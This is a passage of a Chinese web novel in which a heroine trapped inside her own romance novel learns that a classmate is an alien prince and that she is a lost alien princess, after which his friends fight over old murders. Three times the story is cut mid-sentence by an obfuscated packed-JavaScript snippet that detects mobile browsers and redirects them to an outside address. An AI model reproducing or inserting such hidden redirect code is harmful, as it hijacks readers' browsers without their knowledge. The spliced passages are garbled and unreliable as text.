“泪儿小姐,你刚才在电话里说有重要的事找我?”星痕趴在桌子上身体前倾,凑近祁冉,主动进入了正题,“这里没有其他人,你就直接说吧。” 刚才在来见星痕的路上祁冉就一直思索着怎样向星痕提起这件事,但她始终没能找到一个合适的切入点。最后,她只能正色道:“星痕学长,这是一件很严肃的事,我也只是出于个人安全考虑才来问你对此是否知情,没有任何怀疑你的意思,还请你不要误会。” 星痕坐直身子,不以为意地笑笑:“没关系,有什么话你直说就好。” “今天下午我去慕容少爷家中做客,却意外发现我身上被安装了微型摄像头。”祁冉简洁明了地讲述事情的经过,顺便吹捧了星痕一把,“掌握那种精度的技术的人在全世界都屈指可数,而当前又有充分的证据表明这件事不是慕容少爷和洛玄少爷所为。” 她看向星痕,轻轻叹了口气:“所以学长,虽然我并不想怀疑你,但我也不能直接排除这个可能性。” 星痕对这个问题不置可否,他只是露出一个意味深长的微笑:“泪儿小姐,假如我是那个监视你的人,那我的目的是什么?” 那还用说吗,肯定是假借保护她的名义进行偷窥啊! “就像慕容少爷和洛玄少爷一样,为了时刻监测我的动向,或者为了保护我不遇到危险。” 星痕点点头,又摇摇头。 “我和他们并不一样。” 他说这话时的笑容有些勉强,其中像是混杂了千万种情绪,最后只化为满腔无奈。接着他又抬头看向祁冉,神色认真地对她说道:“而且,泪儿小姐,你当前处境的危险程度要远超你的想象。” 好了,谜语人+1。 她记得洛玄也曾经和她说过类似的话,什么“你把这个世界想象得过于美好”“你身边从来都是危机四伏,可你却对此浑然不觉”。 他们这些人对她也太过度保护了吧,她又不是三岁小孩,连一点自保能力都没有! 不过星痕这句话算是实锤了他的监视者身份,祁冉追问道:“所以你监视我也是为了保护我吗?” 星痕点点头作出肯定答复,却没再进行更多解释。 祁冉觉得今天的星痕沉默得有些反常,这也给她的任务造成了阻碍。 她得知了真相,却依然有些疑惑:“但你为什么会掌握SAT公司内部独有的研究成果,难道那里有员工向你透露了技术细节?” “泪儿小姐,我也很想回答你的问题,但这会给你带来危险。”星痕保持着热情的笑容,语气却充满郑重其事的告诫,“这些事与你无关,你知道的越少越好。” “就算我现在不问,我也迟早会知道答案的。”为了从星痕嘴里获得更多情报,她提起慕容绝那边的情况来威胁他,还不忘给自己刷了点好感度,“慕容少爷已经针对这件事开展调查了,要不了多久他就会查到你这里,我之所以会在私下来找你也正是因为这个,如果学长肯将真相告诉我,我或许还能帮你想办法瞒过慕容少爷。” 说着,她又试图从另一个角度动摇星痕:“更何况据你所说,我身边到处都充满了危险,可如果你不把这其中的内幕告诉我,我又怎么能清楚地知道我当前的处境?” 祁冉的这番话似乎打动了星痕,他微微低下头沉思片刻,最后长舒一口气,抬起头看向祁冉:“泪儿小姐你说得对,我也是时候把这些情报告诉你,让你早做打算了。” 他将目光移向手边,那里有一座小型地球仪,他伸手轻轻抚摸着它的表面,并缓缓转动那颗蓝色球体,问了祁冉一个看似非常突兀的问题。 “泪儿小姐,你喜欢地球吗?” 祁冉莫名其妙,这话像是一位环保主义者的开场白。 “当然喜欢。”稳妥起见,祁冉背诵着标准答案,“是地球孕育出了生命与文明,没有它的话,人类就无法诞生并存续。更何况地球上还有诸多宏伟壮丽的自然美景与奇观,这些都是其他星球所不具备的……” “嗯,我也很喜欢地球。不过,它并不是唯一一颗存在智慧生命的星球。”星痕对祁冉的大部分言论表示认同,只是纠正了一处细微的错误,提出另一个随之而来的问题,“那你喜欢地球人吗?” 说得好像她还见过外星人似的! “他们都是我的同胞,但我不能明确地说我喜欢还是不喜欢。”祁冉理所应当地回答,“毕竟地球上有这么多人,他们性格各异,习俗不同,思想观念也并不都和我一致,我没办法将他们一概而论。” 星痕若有所思地作出总结:“确实,个体之间的差异太大,无论哪个人都无法代表他所在的群体。” 祁冉觉得星痕现在看起来和凌千幻那个哲学大师一样。 眼看着话题就要跑偏,她及时提醒他:“星痕学长,你为什么要和我说这些?” “没什么,只是出于我的个人好奇罢了。”星痕从思考中回过神来,恢复平常那副轻松愉快的口吻,“因为你和我的立场相同,所以我想听听你对地球人的看法。” 祁冉一头雾水:“什么立场?” 她怎么就和星痕立场相同了? “泪儿小姐,其实你和我一样,都是地球上的异类。”星痕收敛笑容,神情认真道,“我们都不是地球人。” 他这是中二病犯了吧! 祁冉憋住笑,很配合地问道:“那你来自哪里?” 他的表情比刚才还要严肃,像是在宣布一则极其重要的消息:“我的真实身份是阿尔法星系的王子,阿尔法星系与地球之间的距离已经超过了地球计数的上限。” 这是什么“我,秦始皇,打钱”一般的展开啊! 祁冉给足了星痕面子,她故作惊讶地问道:“这么说来,你应该也有尊名吧?” 既然羽尘和凌千幻都有,他不能这么没排面! “没错,泪儿小姐真是聪明过人。”星痕笑了起来,恢复平时的活力与朝气,“我的尊名是‘明星王子’。” 哈哈哈哈来自阿尔法星系的明星王子! 她还说自己是来自三体星系的俊明王子呢! 祁冉觉得她再说下去就要绷不住了,便神情庄重地对星痕说道:“星痕学长,你别开玩笑了,我在说正……事……” 说到最后两个字的时候,祁冉的声音粘滞起来,被她拖得很长,同时音量也小了下去。 她不可置信地看着面前那个半透明的悬浮屏,在星痕的人物简介那栏,原先那些被马赛克遮挡的文字都显露出了它们的真面目。 【人物简介:表面身份是艾利牛顿商学院的学生,实际上是来自科技高度发达的阿尔法星系的王子。外貌为冰蓝色短发,绿色眼瞳,是智商超群的科研天才,随身携带各种高科技装备,性格阳光开朗。最初是为了卧底地球掌握这里的科技来到艾利牛顿商学院,在遇见泪儿后意外计算出爱上她的概率是250%,从此深陷感情无法自拔。】 祁冉整个人都僵住了。 什么,他来真的? 这本书不是一篇校园青春言情小说吗,怎么还有外星人的事? 仔细想想,这本书从一开篇起就总是提到“科技”,这倒也算是伏笔。 但是谁家好人埋伏笔这么埋啊,能从这一堆乱七八糟的剧情里面看出伏笔也是智商超群了吧! 等等,那其他男主说过的话里面是不是也包含了关于剧情的重要信息? 星痕看着对面大脑宕机的祁冉,有些愧疚地笑笑:“抱歉泪儿小姐,我知道这些话的信息量太大,你一时间难以消化,可就像你说的那样,这些都是你迟早都要面对的事。” “你说得对。”祁冉被星痕的话拉回了的注意力,她先放下纷乱的思绪,回到当下要做的事情上。为了验证系统给出的信息无误,她试探性地问星痕:“那么,你为什么要不远万里地来到地球?” “我的母星是在很久以前探测到地球的,并且意外发现在这颗遥远的蓝色星球上存在智慧生命。”星痕解释道,“我们对有关它的一切都非常好奇,于是通过各种方式了解到它的方方面面,包括历史、地理、人文等领域。不过,远距离观测的效率实在是太低下了,所以我们派出了一批人来到地球,以便切身学习并掌握地球上的前沿科技。” 星痕所说的话和系统一致,它们互相佐证了彼此的真实性。 一个问题也随之迎刃而解。 祁冉问道:“这么说来,SAT公司里也有你们的人?” 星痕点头:“对。” 那他能够掌握那种微型摄像头的研发技术就不足为奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870164|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 星痕见祁冉已经完全适应了他说的话,便接着说道:“既然你已经知道了我的身份,那我们也该来说说你了。” 祁冉想起他刚才说的那句“我们都不是地球人”,她一旦意识到这句话不是玩笑就有些惊悚,做足了心理准备问:“我是什么来头?” “泪儿小姐,你的身份和我一样尊贵。”他从椅子上起身,仪态端庄地向她欠身鞠躬,像是在行使什么贵族成员之间的交际礼节,然后才坐回祁冉对面笑道,“你是来自某个神秘星系的公主。” 有了前面的铺垫,祁冉只用了一秒钟就接受了这个设定。 但她发现自己的人物简介并没有刷新,这或许说明当前剧情还不足以解锁她的关键信息。 她觉得这不是个好消息,照这样发展下去,谁知道这剧情会朝着什么奇怪的方向一路狂奔啊! 不过经验告诉她提前发愁也没用,祁冉重新把注意力收归当下:“既然我是公主,那我是不是也有尊名?” 她倒要听听她给自己起的名号有多么响亮! 然而星痕的话没能让她如愿,他万分沉痛地说道:“不,你还没有来得及获得尊名,你们的星系就灭亡了。” 他抬眸看了祁冉一眼,详细解释道:“根据我们的了解与考察,你所属的星系曾经是一个辉煌繁荣的星际帝国,它们虽然从不与外界交流,但却拥有高度发达的文明,国民都像你一样聪明勇敢、善良正直。可美好的东西总是容易被人觊觎,在十八年前它被多个帝国联盟发现并围剿,因为双方力量悬殊,即使帝国上下所有人都拼尽全力浴血奋战,最后还是没能摆脱被灭国的命运。” 按祁冉在书中的年龄设定推算,那时她刚刚出生。 她本来就不是这个世界的人,更没有关于那个帝国的记忆和知识,对此并没有感到太多悲伤,比起这个她更在意自身的问题:“那我为什么没事,还生活在地球上?” “因为在星系灭亡之际,你们国家的人们决定,无论如何都要保存一颗文明的火种,而那火种就是你。”星痕面露悲伤,“他们在最后时刻用尽举国之力将你秘密护送到了地球,那颗十八年前坠毁在地球上的陨石就是你的载具。” 祁冉记得这颗著名的流星,它曾经出现在“嘎嘎香炖菜王”的菜品食谱里。 这和吃法拉利碎片有什么区别! 最离谱的是,她当年作为一个手无缚鸡之力的新生儿,居然就这么坐着流星横跨宇宙飞到地球,并且在爆炸时毫发无伤。 槽点太多以至于祁冉不知道该从哪里开始说起了,她尽量在里面挑出一个符合逻辑的问题:“星痕学长,那为什么这么多年来都没有人发现我与众不同?” 她可是这样一个繁荣帝国的遗孤,但竟然在地球上当了十八年的孤儿,至今还穷困潦倒,负债累累! “因为你的父母与国民只希望你能平安长大,他们没有让你显露出任何特别之处,以便你能顺利地融入地球人当中。这样一来,所有人都不会轻易察觉你的异常。”星痕语气惆怅,“更何况你所在的星系原本就极其神秘,在灭亡后更是鲜少有人提及,我们掌握的关于它的资料也是寥寥无几,所有人都以为这个文明已经完全不复存在了。” 他倏然抬起头来,眼中闪烁着激动的光彩:“但是,我在这里偶遇了你。从见到你的第一面起,我就觉得你和其他人都不一样。” 好经典的台词,南宫冷夜也这么说过! “所以,我暗中将部分监测仪器布置在你身边,以求得一个确切的结果。”星痕的脸上写满兴奋,像是意外发现了一座巨大的宝藏,“在这个过程中我发现你体内似乎潜藏着一股神秘力量,并因此逐渐确定了你的身份,同时也计算出——” 他猛然止住话头,像是意识到自己失言,有些尴尬地轻咳一声,转而郑重地说道:“总之,泪儿小姐,这就是全部的真相。” 祁冉也很庆幸星痕没把这句话说完。 他就是在这个过程中计算出爱上她的概率是250%的,要是他把这话说出来,她还真不知道该怎么接。 “既然我们已经发现你的身份,那恐怕很快就有其他人也得知这一消息。你作为你们星系最后的血脉,蕴藏着无穷的潜在价值,这一定会为你招致祸患。”星痕诚恳地向她发出邀请,“所以,我希望你能和我一起回到阿尔法星系,我们一定会对你进行严格保护,保证你不会受到一点伤害。” 要是剧情按照这个方向发展,那言情小说真要变成科幻小说了! 赶在祁冉开口之前,系统提示音及时在她脑海中响起。 27.星球小战 【剧情:通过与星痕的会谈,泪儿得知了他监视自己的目的,也由此明白了他和自己的真实身份。考虑到泪儿的安全问题,星痕提出要将她带回阿尔法星系进行保护,可泪儿从小就在地球上长大,她已经深深地爱上了这颗美丽的蓝色星球与生活在这里的人们,她将他们视作自己最亲密最熟悉的家人,无论如何也不肯离开。】 【任务:拒绝星痕的邀请,在他劝解后依然坚持自己的决定。】 看到任务描述时祁冉松了口气,还好这次系统没和她唱反调。 要不然的话,等离开了地球,谁知道还会不会有什么更魔幻的事等着她! “不,星痕学长,我不能答应你。”祁冉回应着星痕的邀请,这次她的坚决倒不是装的,“我从小就在地球上长大,早已把自己当作了地球人中的一员。他们每个人都是我的骨肉同胞,这里也是我毫无疑问的故乡,我绝对不会离开地球。” “泪儿小姐,我理解你的想法,让一个人离开自己生活了十几年的地方,前往另一个陌生的星球的确很难让人接受。”星痕循循善诱道,“但阿尔法星系是一个更加强大繁荣的星际帝国,如果你能生活在那里,不但能享受顶级的保护,还能更好地发挥你的力量,为无数人敬仰。” 祁冉反驳:“金子到哪里都会发光,如果我真的拥有你所说的那种强大力量,那我在地球也一样能过得很好,还能帮助这里的人们迎来更加美好幸福的生活。” “不,地球人不值得被拯救。让你生活在这里,完全是对才能的浪费和辱没。” 祁冉注意到星痕说这话时的神情痛苦而忧伤,又像是在与什么作着激烈的挣扎与斗争。 他发出一声轻微的叹息:“从我们了解地球人的历史和现状时就已经发现,地球人具有丰富而复杂的情感,所以他们总是在做事时掺杂许多主观因素,由此做出许多不理智的决策,酿成灾难性的后果,比如战争、饥荒、经济危机等,这些原本都是完全可以避免的事,可地球人却被这些无关紧要的东西绊住了脚步,至今都没能摆脱束缚,抵达星辰大海。” 他这番话有几分道理,但祁冉对此也并不完全认同:“那么,你们的社会是什么样的?” “很简单,一切都交给客观的、可量化的标准来决定,保证得到最正确的结果。比如,我们从出生前就会经历基因筛选,只有优良基因才得以存续繁衍。接着,所有未成年的孩子会在学校接受统一的免费教育,毕业后根据职业匹配结果前往最合适的工作岗位。” 按照星痕的描述,从出生起,一个人的一生就被安排得明明白白。 祁冉觉得这种社会形态与一些反乌托邦作品中描述的一致,她提出一个假设:“照你的说法,如果一个人喜欢弹钢琴,但她职业匹配结果显示她更适合从事金融行业,那么即使她不喜欢相关职业,也不能更改这一结果,转而成为一名钢琴师?” “没错。虽然这听起来有些残酷,但从总体来看,这是效用最大化的方案。”星痕解释道,“只有让每个人都发挥最大的价值,在最适合他们的位置上各司其职,像机械系统中的齿轮一样分工配合,才能组成一个高效有序的社会,让它长期稳定地运行。” 尽管祁冉对这种做法持否定态度,但是和外星人辩经听起来着实离谱,所以她并没有发表自己的意见。 不过她有些意外,星痕这样一个阳光开朗大男孩,居然能说出这么冷酷无情的话。 “那我就更不能和你去阿尔法星系了。”祁冉摇摇头,“我不喜欢这种社会环境。” “为什么?”星痕有些急切地问,“你是万里挑一的天才,在那里明明会比现在过得好很多。” “因为我做不到绝对理性。哪怕碌碌无为,我也愿意为我热爱的事业奉献一生,而不是听从别人的安排,去做那些他们认为最适合我的工作。” 星痕不解道:“但这样的选择无论对你个人还是对社会整体来说都有好处。” 祁冉反问:“整体是由个体组成的,如果个体连这种程度的自由都没有,只能被强迫着榨干最后一丝价值,那整体的好坏又有什么意义?” 星痕的语气犹豫着:“可是……” 他只说出两个字就没了下文,显然他暂时还没能想出反驳祁冉的话。 “而从个人层面说,不是所有人都会趋利避害。”祁冉用调侃的语气说道,“这或许就是你所说的地球人‘感情用事’的坏处。” 星痕靠在椅背上舒了口气:“这也正是我不明白的地方。这样的社会从根基上来讲就充满了不稳定,稍有一场意外就会让它支离破碎,可地球文明竟然能奇迹般地存续至今。” “因为不稳定就意味着可能性。”祁冉笑笑,“的确有很多人会因为感情做出危害社会的事,比如激情犯罪,又比如为一己私欲而压迫弱小者,可同样地,地球上也不乏舍生取义的人,将他人幸福放在个人利益之上的人,他们乍一看也不太理智,甚至是很多人眼中的‘傻子’,可正是因为这些人的存在,尽管地球人从不团结,彼此之间总是充满冲突与争斗,但这样漏洞百出的文明也依然跌跌撞撞、摇摇晃晃地走到了现在,并且我相信它还能走向更遥远更光明的未来。” 在这番话后,星痕沉默了片刻,最后只说了一句话。 “好吧,看来你的确很认同地球人的生活方式。” 他抬起头,语气重新轻快起来:“不过,我还是希望你能再认真考虑一下我的提议,不管从哪个方面来说,前往阿尔法星系对你来说都一定是更好的选择。” “砰!” 在任务完成的提示音响起的瞬间,祁冉还没来得及松口气,办公室的大门就骤然被人推开,重重地撞在墙壁上发出一声巨响。 祁冉和星痕都循声望向门口,从那里进来了两个熟悉的身影。 “南宫,洛玄,你们怎么来——” 星痕的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877705|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话还没说完,一道寒光便紧擦着他的脖颈闪过,他连忙侧身躲避,也因此迅速收敛笑容,停下他正在说的话。 “南宫,你怎么回事?”洛玄及时拦下了南宫冷夜,他奋力夺下他手中的匕首,并死命地按住他的肩膀让他冷静,“我们刚才约好了不要直接动武,先向他问清楚情况再说。” 祁冉被这突如其来的一幕吓了一跳,她见状赶忙冲上去护在星痕身前,察看他的情况。尽管他的反应已经足够敏捷,却依然被南宫冷夜擦伤了脖颈,留下一道狭长的血痕。 她起身用身体隔开两人,神情严肃地问道:“南宫学长,你在干什么?” 要是星痕交代在这了,那她就别想完成任务回家了! 星痕感到脖子上传来轻微的痛楚,他伸手抹了一把,手掌上便赫然出现一道淡红色的血迹。他皱起眉问道:“南宫,你这是什么意思?” 南宫冷夜神情冷峻,尽管他极力克制着自己的情绪,祁冉依然从他的语气中听出了愤怒:“泪儿小姐,这件事与你无关,请你让开。” 星痕也按着祁冉的肩膀想把她推开:“这里太危险了,你先离开。” “不行!”祁冉受不了这个充满谜语人的世界了,“有什么话你们不能当着我的面直说?你们不是好朋友吗,现在这算是怎么回事?” “以前是,但从今以后不是了。”南宫冷夜被洛玄紧紧拽住胳膊,也因此没有再出招,只是冷声说道,“刚才你们在这里说的话,我和洛玄都听到了。” 听墙角可不是好习惯啊! 祁冉愕然地问:“你们是从哪里开始听的?” “抱歉泪儿小姐,我们也是为了你的安全着想。”洛玄歉疚地说道,“从你进入办公室开始,我们就开始在门外旁听了。” 那他们岂不是听完了整个过程! 祁冉迟疑着向他们确认:“……你们知道我的身份了?” 洛玄点头:“嗯。我过去只觉得你很特别,但没想到你竟然是外星公主。” 他怎么就这么自然地接受了这个设定啊! 而且这房间的隔音效果也太差了,她和星痕的交谈声音并不大,但洛玄他们在门外竟然听得一清二楚。 这下好了,大家都知道她身份的秘密了。 星痕这是什么反向保护啊! “除此之外,我们也知道了星痕的身份。”洛玄看向星痕沉声说道,“我一直把你视作挚友,却没想到你是卧底地球窃取技术的外星人,还将同伙安插在SAT公司里。” “对不起,洛玄。”星痕歉疚地说道,接着又焦急地辩解,“我们的立场确实不同,但我是真心将你还有南宫视为好友,我从来都没有想过要伤害你们——” “是吗,你说这话时真的能问心无愧?”南宫冷夜的脸上浮现出一个冷笑,“真没想到,我苦苦寻找了二十多年的仇人就在我身边。” 祁冉和星痕都愣了愣:“仇人?” 28.仇人相见 南宫冷夜微微昂起头:“你可曾听说过‘南宫傲天’和‘东方铜心’这两个名字?” 现在祁冉确信,南宫冷夜的名号绝对是来自于她的童年经典动画片。 星痕仔细回忆片刻,最后摇头道:“没有。你为什么要问这两个人?” “因为他们是我的父母。”南宫冷夜怒目圆睁,语气显出少有的激动,“也就是在十五年前被你们暗杀的人!” “什么?” 同样的惊疑分别从两个人口中发出,一个是星痕,一个是洛玄。 后者掀起了更大的疑惑,在场的所有人都将目光看向他。 祁冉彻底迷糊了,现在不是在处理南宫冷夜和星痕之间的问题吗,怎么洛玄也插进来了? “他们是你的父母?”洛玄攥紧南宫冷夜的胳膊,他的眼神中染上一层戒备,语气也变成了质问,“你就是那个黑暗杀手组织的现任首领?” 南宫冷夜意识到自己因复仇心切暴露了重要信息:“不,你听我解释,我父母没有——” “我不听!”洛玄怒吼道,“十五年前,我的父母就是被他们杀害的!” 来了来了,狗血剧经典桥段之“我不听你的解释”。 怎么着,他们还要在这里讨论一番“是谁杀了我,而我又杀了谁”的问题吗? “请三位学长都冷静一下。”祁冉瞅准时机站出来调停矛盾,“到底是怎么回事,你们一个一个说。” 她作为一个局外人对当前的情况一头雾水,倒是来个人给她讲讲这剧情到底在说什么啊,总不能一直让她在这干瞪眼,旁观他们你方唱罢我登场。 洛玄最先镇静下来,但依然死死地盯着南宫冷夜,恨不能将目光化作一柄利刃:“我的父母在十五年前遭人暗害去世,凶手就是南宫夫妇,那时他们是黑暗杀手组织的首领,受人委托执行了刺杀任务。这么多年以来我都在搜索这个组织的痕迹,却始终没能发现他们的现任首领——也就是我仇人的儿子,就在离我这么近的地方!” 祁冉记得洛玄的人物简介中提了一句“父母被人暗害去世”,原来这件事还有这样的内幕。 “不,我父母是被冤枉的!”南宫冷夜反驳洛玄的说法,“他们根本没有执行过这个刺杀任务,而且在那之后不久,他们就被阿尔法星系的人暗杀了。” 祁冉还没来得及仔细分析这两人发言的矛盾之处,星痕也很快加入他们的辩论中:“不可能,这不可能!” 他震惊地摇头否认,又像是在自言自语:“阿尔法星系的精英绝不会干出这样的事!” “在我父母的死亡现场,所有的线索和证据都指向了杀手组织,你居然还不认罪?”洛玄一把攥住南宫冷夜的衣领,咬牙切齿地说道,“南宫,我真没想到你身为首领,居然还是个敢做不敢当的小人!” “因为我父母确实是被栽赃陷害的,罪魁祸首肯定是阿尔法星系的人!”南宫冷夜愤怒地推开洛玄,凛冽的眼神从星痕身上剐过,“当初是阿尔法星人找到我父母,委托他们去暗杀你父母,但他们察觉到不对劲,于是假意答应下来,反过来在暗中调查委托方的底细,结果却被他们嫁祸后灭口,以造成死无对证的场面!” “洛玄,别听南宫的!”星痕眉头紧锁,“南宫,空口无凭,你说的这些话有证据吗?” “证据?”南宫冷夜戏谑地笑道,“证据不都掌握在你们手里?你们把一切痕迹都抹得干干净净,现在却让我拿出证据来?” 听着三人在一旁唇枪舌战,祁冉觉得事情的原委越发扑朔迷离,激烈的争辩和混乱的信息很快就塞满了她的大脑,让她的太阳穴隐隐作痛。 靠这种方式显然无法找到真相,于是她再次出面维持秩序:“几位学长,这件事显然另有隐情,我们不如坐下来好好分析……” “泪儿小姐,这里太危险了。”听到祁冉的声音,离她最近的星痕最先反应过来她还在场,挽起她的手说道,“你先和我回到基地,之后的事交给我来解决。” “不行。”南宫冷夜快步走过来攥住祁冉的另一条胳膊,“你刚才没听到泪儿小姐说,她不愿意和你一起走吗?” 洛玄见状也赶忙上前,迅速将祁冉从两人的束缚中解脱出来:“你们这样的人就不应该接近泪儿小姐。” 他用深邃的眼神注视着祁冉,万般珍惜地说道:“你跟我走吧,我一定会好好保护你,绝不会让你遇到危险,或是再见到世间的这些污秽。” “你什么意思?”南宫冷夜觉得洛玄这话意有所指,阴沉着脸问,“什么叫做‘这些污秽’?” 洛玄将祁冉护在身后,神色平静,毫不避讳地说道:“当然是说你和星痕这样的人。” “小心!” 赶在祁冉发出惊呼之前,南宫冷夜的拳头就已经挥出一道残影,这显得她的提醒来得有些迟。所幸洛玄闪避及时,躲过了这一击。 但这招成为了他们搏斗的起点,南宫冷夜一边与洛玄打斗,一边愤怒道:“我说过很多次,我父母没有做那些事,我也不是你口中的卑鄙小人,这些都是阿尔法星人干的。泪儿小姐和我在一起才最安全!” 星痕听见这话也是满腔怒火,加入到他们的争斗之中:“你拿不出任何证据,却一而再再而三地污蔑我的同胞?我能为泪儿小姐提供最先进的科技,你们这些地球人能做到什么?” 眼见着南宫冷夜一对二落了下风,洛玄却突然掉转矛头,一腿扫向星痕下盘:“你是我们这里最没资格说话的,阿尔法星的实力如果真有你说得那么强,你们还跑过来干什么?你在SAT中安插间谍,窃取我们的科研机密,这事我还没和你算账,现在居然还要强行带走泪儿小姐!” 祁冉在旁边声嘶力竭地劝了半天架,但这些人已经被仇恨蒙蔽了双眼,压根没一个人理她。 她不得已,只能扯着嗓子,使出浑身解数继续大喊:“这里是办公室,不是让你们打架的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884442|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方!” 她这话一出,几人居然停下了动作。 洛玄的胸口上下起伏着:“泪儿小姐说得对,我们在这里也比不出个结果来。” 星痕也微微喘着气:“嗯,我们得换个大点的地方。” 南宫冷夜干脆利落:“我们去外面打。” “不,我不是这个意思——” 祁冉一句话还没说完,三人便一溜烟地冲出门口,她再怎么撵也跟不上他们的步伐:“你们等一等,听我说话!” 她一边卯足了劲往前冲刺,一边在内心疯狂吐槽。 都怪她当初非要用什么“娇小玲珑”“清纯柔弱”的形容词描述自己,现在跑两步路就大喘气,要是她早知道有这么一遭,她绝对要把自己设定成战神级别的人物! 还有,这几个人口口声声说着要保护她,但他们明明才是书里最大的麻烦和威胁啊! 等祁冉追出活动室的大门时,三人早已跑没了影,她的视野范围内只余下空荡荡的走廊。 再追下去也无济于事,祁冉索性摆烂地往路边一坐,气喘吁吁地休息。 她这真是刚出龙潭又入虎穴,先前慕容绝那些人的官司还没断清楚,现在又冒出来一段这三人之间的恩怨纠葛。 她当年写的这本小说也堪称是五毒俱全,集天下所有狗血套路之大成,什么误会、死仇、兄弟反目都不要命地往里塞,连外星人都整出来了! 想到这里祁冉从地上站起身来,扭头望向窗外。那里只露出树冠的一角,翠绿的叶片沐浴着午后的日光,一派静谧祥和的景象。 她估摸着,既然她的隐藏身份都已经暴露,这些男主也个个都是重量级人物,他们肯定会为争夺她的保护权和复仇争执不休,那她之后的生活肯定不会再像先前那样平静了。 虽然她之前的生活好像也不算很平静。 像是听到祁冉的心声一般,系统突然跳出来,为她发布了新任务。 【剧情:泪儿向星痕表明了自己不愿离开地球的坚决态度,他也只能暂时作出让步。就在这时,洛玄和南宫冷夜竟然出现在办公室,泪儿从他们的争吵中得知三人的过往恩怨。尽管善良的泪儿不愿看到他们反目成仇,却无力阻拦他们的激烈争斗,只能默默地帮他们保守秘密,决定等待时机彻查事件真相,从中调解三人之间的矛盾。】 【任务:和平时一样照常生活和上学,寻找机会向南宫冷夜询问这件事的详情。】 从刚才三人争辩的内容来看,南宫冷夜知道的情报最多,以他为起始点开展调查确实很合理。 但是都到这种时候了,身边又是杀手又是外星人的,这几人之间还有命案官司牵扯,她怎么还能和平时一样雷打不动地去上学啊! 她不愧是从小接受标准中式教育的好学生,将读书学习看作头等大事。 不过祁冉还是觉得,因为这些男主的存在,这本书的主线可能将要和校园言情相去甚远了。 29.风雨上学路 从今早起床开始,祁冉就觉得不太对劲。窗外实在是太安静了,没有鸟鸣,没有人说话,也没有车辆鸣笛,就连一丝风声都听不见,一切都沉寂得可怕。 尽管满腹疑惑,但为了完成任务,她还是和往常一样去搭公交车上学。 祁冉站在车站旁边,抬起手腕看了看表,然后又将目光投向远方,却依然不见公交车的身影,路上也没有其他行人和车辆,世界仿佛被按下了静止键。 要不是因为眼前的一切还是熟悉的景象,系统也依然待在她大脑里,她还以为自己穿到电影《寂静之地》的世界里了! 再等下去她就该迟到了,祁冉当即决定步行去学校,说不定在那里能遇到其他人,向他们了解当前情况。 然而走着走着,祁冉心中的疑团却越来越大。她这一路过来,方圆百米不见人影,艾利牛顿学院仿佛变成了一座空城,里面连半个动物都没有。 她奇怪地打量着四周的环境,忽而在余光中捕捉到两道一闪而过的穿着制服的身影。 祁冉仿佛抓住了一线希望,急忙冲那两人挥手:“同学,请等一等!” 然而,当他们看到祁冉的面庞时,顿时吓得脸色惨白,转身拔腿就跑,边跑边大声求饶:“泪儿小姐对不起,我们不是故意的,没想到会在这里遇见您,多有冒犯!我们马上就从您面前消失!” 祁冉见状赶忙去追他们:“你们在说什么,为什么要这么害怕我?” 然而这两人像是脚底抹了油似的窜得飞快,祁冉越是喊他们停下,他们越是惊恐地向前狂奔,没过多久他们的身影已经变成了两个模糊的小黑点,祁冉实在跑不动了,只能扶着路边的树干喘气。 看着那两人仓皇逃窜的背影,祁冉感觉自己在他们眼中像是个索命的冤魂。 她纳闷地看了眼自己身上的制服,今天出门前她明明照过镜子,仪容仪表都算过关,不至于把他们吓成这样吧? “泪儿小姐?” 祁冉听到熟悉的声音,瞬间眼前一亮:“星痕学长!” 虽然她平时对书中的几位男主都多有嫌弃,但他可是今天第一个主动和她说话的活人! 祁冉欣喜若狂地奔向星痕,他也热情洋溢地张开双臂朝祁冉跑去,两人的动作构成了久别重逢般的激动场面。 就在星痕和祁冉之间的距离只有一米时,一颗子弹带着硝烟在星痕脚尖几公分的地方乍然迸裂,紧接着是一声响亮的枪声。 祁冉愣了一瞬,星痕想要上前拉她躲起来,却在刚迈出脚步时便迎来更多、更密的子弹! 祁冉已经从惊恐中反应过来,她迅速躲到旁边的雕塑后面,星痕也就地打了个滚躲进草丛,这样一来两人的距离重新被拉开。在接连不断的枪声中,祁冉听见星痕对自己大喊:“泪儿小姐,你没事吧?” “我没事!” 子弹发疯似地冲星痕的方向飞去,显而易见攻击者的目标是他,再联想一下之前的事,不难猜出持枪者的身份:“他们是南宫学长带的人吗?这是怎么回事,他要干什么?” 就算他要向星痕复仇,也不应该在学校开战,这样不但会暴露他的身份惹来更多麻烦,还容易殃及无辜啊! 